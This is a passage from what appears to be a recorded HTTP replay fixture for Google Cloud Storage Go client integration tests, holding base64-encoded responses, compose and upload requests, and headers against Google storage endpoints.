Slcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogTm8gc3VjaCBvYmplY3Q6IGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb3B5LW9iajFcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBlcnJvclByb3RvQ29kZT1OT1RfRk9VTkQsIGVycm9yUHJvdG9Eb21haW49Z2RhdGEuQ29yZUVycm9yRG9tYWluLCBmaWx0ZXJlZE1lc3NhZ2U9bnVsbCwgbG9jYXRpb249ZW50aXR5LnJlc291cmNlX2lkLm5hbWUsIG1lc3NhZ2U9Tm8gc3VjaCBvYmplY3Q6IGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb3B5LW9iajEsIHVubmFtZWRBcmd1bWVudHM9W119LCBsb2NhdGlvbj1lbnRpdHkucmVzb3VyY2VfaWQubmFtZSwgbWVzc2FnZT1ObyBzdWNoIG9iamVjdDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvcHktb2JqMSwgcmVhc29uPW5vdEZvdW5kLCBycGNDb2RlPTQwNH0gTm8gc3VjaCBvYmplY3Q6IGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb3B5LW9iajE6IGNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpPQkpFQ1RfTk9UX0ZPVU5EOiBObyBzdWNoIG9iamVjdDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvcHktb2JqMVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5HZXRPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEdldE9iamVjdC5qYXZhOjMwOSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkdldE9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoR2V0T2JqZWN0LmphdmE6NzApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IuZ2V0KE9iamVjdHNEZWxlZ2F0b3IuamF2YTo4MSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogTm8gc3VjaCBvYmplY3Q6IGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb3B5LW9iajFcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkVycm9yQ29sbGVjdG9yLnRvRmF1bHQoRXJyb3JDb2xsZWN0b3IuamF2YTo1NClcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lFcnJvckNvbnZlcnRlci50b0ZhdWx0KFJvc3lFcnJvckNvbnZlcnRlci5qYXZhOjY3KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjU5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjM5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIudGhyZWFkLlRocmVhZFRyYWNrZXJzJFRocmVhZFRyYWNraW5nUnVubmFibGUucnVuKFRocmVhZFRyYWNrZXJzLmphdmE6MTI2KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTo0NTMpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5zZXJ2ZXIuQ29tbW9uTW9kdWxlJENvbnRleHRDYXJyeWluZ0V4ZWN1dG9yU2VydmljZSQxLnJ1bkluQ29udGV4dChDb21tb25Nb2R1bGUuamF2YTo4MDIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUkMS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDYwKVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKFRyYWNlQ29udGV4dC5qYXZhOjMxOSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTozMTEpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ1Nylcblx0YXQgY29tLmdvb2dsZS5nc2UuaW50ZXJuYWwuRGlzcGF0Y2hRdWV1ZUltcGwkV29ya2VyVGhyZWFkLnJ1bihEaXNwYXRjaFF1ZXVlSW1wbC5qYXZhOjQwMylcbiJ9XSwiY29kZSI6NDA0LCJtZXNzYWdlIjoiTm8gc3VjaCBvYmplY3Q6IGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb3B5LW9iajEifX0=" - } - }, - { - "ID": "e7711da9b067a58f", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/composed1/compose?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "156" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJkZXN0aW5hdGlvbiI6eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEifSwic291cmNlT2JqZWN0cyI6W3sibmFtZSI6Im9iajEifSx7Im5hbWUiOiJvYmoyIn0seyJuYW1lIjoib2JqL3dpdGgvc2xhc2hlcyJ9XX0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "750" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:19 GMT" - ], - "Etag": [ - "CI2048Lx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoJ5Us6Rp03fUUqSAPFFGPuqW2qR4gCfzJ4w3W1Kx8C0JGfNDxte0QlBoVEi4K7rV5zkUY1IXQvIk6FOU3DxP8ECZdxkVJBW57Jf5iXo8kRyLVu7OA" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb21wb3NlZDEvMTU1NjgzNTg1ODk2Mjk1NyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NvbXBvc2VkMSIsIm5hbWUiOiJjb21wb3NlZDEiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg1ODk2Mjk1NyIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDoxOC45NjJaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MTguOTYyWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjE4Ljk2MloiLCJzaXplIjoiNDgiLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY29tcG9zZWQxP2dlbmVyYXRpb249MTU1NjgzNTg1ODk2Mjk1NyZhbHQ9bWVkaWEiLCJjcmMzMmMiOiJBYldCeVE9PSIsImNvbXBvbmVudENvdW50IjozLCJldGFnIjoiQ0kyMDQ4THgvZUVDRUFFPSJ9" - } - }, - { - "ID": "de5d78de4310ff60", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/composed1", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "48" - ], - "Content-Type": [ - "application/octet-stream" - ], - "Date": [ - "Thu, 02 May 2019 22:24:19 GMT" - ], - "Etag": [ - "\"-CI2048Lx/eECEAE=\"" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:19 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:18 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Component-Count": [ - "3" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:24:18 GMT" - ], - "X-Goog-Generation": [ - "1556835858962957" - ], - "X-Goog-Hash": [ - "crc32c=AbWByQ==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "48" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqprnxhGEtAMeMcwiKn43QTEdsHrB7k_jCjOqnvH984bk5CIjIhSalrDVNwlLb37IU67jIYyIY1Nq8uaSz5HGUROWwpE6SVmGvIGXnuAbTP7x8Ez5w" - ] - }, - "Body": "TuDshcL7vdCAXh8L42NvEeeRmd+w7xhUEtz55BCr9yaRPt+QxetF2uGfY/b4R5Pm" - } - }, - { - "ID": "4b7c14a3f35089ce", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/composed2/compose?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "182" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJkZXN0aW5hdGlvbiI6eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjb250ZW50VHlwZSI6InRleHQvanNvbiJ9LCJzb3VyY2VPYmplY3RzIjpbeyJuYW1lIjoib2JqMSJ9LHsibmFtZSI6Im9iajIifSx7Im5hbWUiOiJvYmovd2l0aC9zbGFzaGVzIn1dfQo=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "776" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:19 GMT" - ], - "Etag": [ - "CP+RiMPx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrMYc2wH1kAYUthDQQhZ4gGQU6kYXq6KGs1msu9ifujWYQ2dwS5ifqZFWiTYf74Rq2y9VkzALfhjkTK6anDL-SwHxUH3IwMe8j1rrrbaMbv7eLQCR8" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb21wb3NlZDIvMTU1NjgzNTg1OTU2NDc5OSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NvbXBvc2VkMiIsIm5hbWUiOiJjb21wb3NlZDIiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg1OTU2NDc5OSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9qc29uIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjE5LjU2NFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDoxOS41NjRaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MTkuNTY0WiIsInNpemUiOiI0OCIsIm1lZGlhTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL2Rvd25sb2FkL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jb21wb3NlZDI/Z2VuZXJhdGlvbj0xNTU2ODM1ODU5NTY0Nzk5JmFsdD1tZWRpYSIsImNyYzMyYyI6IkFiV0J5UT09IiwiY29tcG9uZW50Q291bnQiOjMsImV0YWciOiJDUCtSaU1QeC9lRUNFQUU9In0=" - } - }, - { - "ID": "26a4cb091ed2f1bd", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/composed2", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "48" - ], - "Content-Type": [ - "text/json" - ], - "Date": [ - "Thu, 02 May 2019 22:24:19 GMT" - ], - "Etag": [ - "\"-CP+RiMPx/eECEAE=\"" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:19 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:19 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Component-Count": [ - "3" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:24:19 GMT" - ], - "X-Goog-Generation": [ - "1556835859564799" - ], - "X-Goog-Hash": [ - "crc32c=AbWByQ==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "48" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Ur-t-yqapXjBzjIrFWFhaT080f06JahbskCp0DC_-izUjPK4fYn556m2qyRDgj9HjkkDPtKR6dauzF5afjNZZ61bN_dTvw15d82A206-SdS1Jv_YM4" - ] - }, - "Body": "TuDshcL7vdCAXh8L42NvEeeRmd+w7xhUEtz55BCr9yaRPt+QxetF2uGfY/b4R5Pm" - } - }, - { - "ID": "6b59ed7d3d098970", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjb250ZW50RW5jb2RpbmciOiJnemlwIiwibmFtZSI6Imd6aXAtdGVzdCJ9Cg==", - "H4sIAAAAAAAA/2IgEgACAAD//7E97OkoAAAA" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3227" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:20 GMT" - ], - "Etag": [ - "CNuJssPx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoXNmswaWh2Gfcz1pYPy7etwk09Nz_dmuYVq55M2p3ox38A3mC0QgoHf-hL1uCZxQvusJSIHeugTQvmCgZvRdXV-3juD0W8KI669m0EILAHSfnVoJ8" - ] - }, - "Body": 